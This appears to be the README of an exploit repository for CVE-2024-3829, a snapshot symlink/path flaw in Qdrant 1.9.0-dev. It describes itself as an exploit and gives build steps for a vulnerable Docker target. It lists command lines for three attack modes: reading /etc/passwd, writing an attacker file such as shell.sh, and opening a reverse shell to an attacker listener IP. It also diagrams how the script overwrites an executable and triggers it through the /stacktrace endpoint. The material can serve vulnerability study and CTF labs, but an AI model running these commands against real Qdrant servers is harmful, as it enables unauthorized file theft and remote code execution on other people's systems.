
CVE-2024-3829
########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################
_______ __ __ _______ _______ _______ _______ _ ___ _______ _____ _______ _______
| || | | || | | || _ || || | | | | | | _ | | || _ |
| || |_| || ___| ____ |____ || | | ||____ || |_| | ____ |___ | | |_| | |____ || | | |
| || || |___ |____| ____| || | | | ____| || ||____| ___| || _ | ____| || |_| |
| _|| || ___| | ______|| |_| || ______||___ | |___ || | | || ______||___ |
| |_ | | | |___ | |_____ | || |_____ | | ___| || |_| || |_____ | |
|_______| |___| |_______| |_______||_______||_______| |___| |_______||_______||_______| |___|
############################################### by fabse-hack.de ###############################################
This repository documents and demonstrates CVE-2024-3829 for qdrant/qdrant (v1.9.0-dev)
The vulnerability allows manipulation of snapshot archives via symlink/path tricks. This enables two impact classes and an reverse shell hahhaa:
Depending on the environment, file-write primitives may escalate toward code execution.
1.9.0-devThis version is not longer available in the world wide web (some people calling it "internet").
In the repository of qdrant, the NVD Nist report pointed to the commit, that's the vulnable v1.9.0-dev.
If you want to install this version for CTF / other things on a docker, use:
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln
cve_2024_3829.py - Exploit for read/write/trigger workflowrequirements.txt - Python dependenciesrequestsInstallation:
python3 -m pip install -r requirements.txt
Show all options:
python3 cve_2024_3829.py -h
Examples:
# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
-h, --help: show CLI help-m, --mode: one of read, write, reverse_shell (required)-tu, --target_url: Qdrant base URL (default in script)-tp, --target_port: target Qdrant port (default: 6333)-tpath, --target_path: remote target path (default: /etc/)--target_url should be the base URL without trailing port if you pass --target_port separately, because the script builds URLs as <url>:<target_port>/....read mode, the script combines --target_path and --target_file_name (for example /etc/ + passwd).write mode, --attacker_path should point to an existing local file and --attacker_file_name defines the remote file name.sequenceDiagram
participant Attacker
participant Exploit
participant Target
participant Listener
Attacker->>Exploit: Start exploit script
Exploit->>Listener: Start TCP listener
Exploit->>Target: Create malicious collection
Exploit->>Target: Upload trigger script
Exploit->>Target: Overwrite executable
Exploit->>Target: Call /stacktrace endpoint
Target->>Listener: Reverse shell connection
Listener->>Attacker: Interactive shell access
flowchart TD
Start[Start Listener]
Bind[Bind to attacker port]
Listen[Wait for connection]
Accept[Accept incoming connection]
Interactive[Interactive shell session]
End[Connection closed]
Start --> Bind
Bind --> Listen
Listen --> Accept
Accept --> Interactive
Interactive --> End
-tf, --target_file_name: remote target file name (default: passwd)-ai, --attacker_ip: callback/listener IP for reverse shell mode-ap, --attacker_port: callback/listener port (default: 9001)-apath, --attacker_path: local attacker file path for write mode (default: /tmp/)-af, --attacker_file_name: file name used on target in write mode (default: shell.sh)